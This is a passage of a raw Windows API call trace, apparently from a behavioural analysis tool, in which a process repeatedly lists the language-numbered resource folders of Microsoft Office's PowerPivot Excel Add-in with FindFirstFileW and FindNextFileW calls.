lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.289] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.289] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.289] GetProcessHeap () returned 0xaf0000 [0282.290] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.290] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0282.290] GetProcessHeap () returned 0xaf0000 [0282.290] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.290] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.290] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.290] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.290] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.291] GetProcessHeap () returned 0xaf0000 [0282.291] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.291] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1057", cAlternateFileName="")) returned 1 [0282.291] GetProcessHeap () returned 0xaf0000 [0282.291] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.291] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.291] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.292] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.292] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.292] GetProcessHeap () returned 0xaf0000 [0282.292] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.292] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1058", cAlternateFileName="")) returned 1 [0282.292] GetProcessHeap () returned 0xaf0000 [0282.292] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.294] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.294] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.294] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.294] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.294] GetProcessHeap () returned 0xaf0000 [0282.294] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.294] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1060", cAlternateFileName="")) returned 1 [0282.294] GetProcessHeap () returned 0xaf0000 [0282.294] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.295] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.295] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.295] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.295] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.295] GetProcessHeap () returned 0xaf0000 [0282.295] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.295] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1061", cAlternateFileName="")) returned 1 [0282.295] GetProcessHeap () returned 0xaf0000 [0282.295] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.295] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.296] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.296] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.296] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.296] GetProcessHeap () returned 0xaf0000 [0282.296] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.296] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1062", cAlternateFileName="")) returned 1 [0282.296] GetProcessHeap () returned 0xaf0000 [0282.296] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.296] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.296] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.297] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.297] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.297] GetProcessHeap () returned 0xaf0000 [0282.297] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.297] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1063", cAlternateFileName="")) returned 1 [0282.297] GetProcessHeap () returned 0xaf0000 [0282.297] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.297] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.298] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.298] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.298] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.298] GetProcessHeap () returned 0xaf0000 [0282.298] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.298] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1066", cAlternateFileName="")) returned 1 [0282.298] GetProcessHeap () returned 0xaf0000 [0282.298] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.298] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 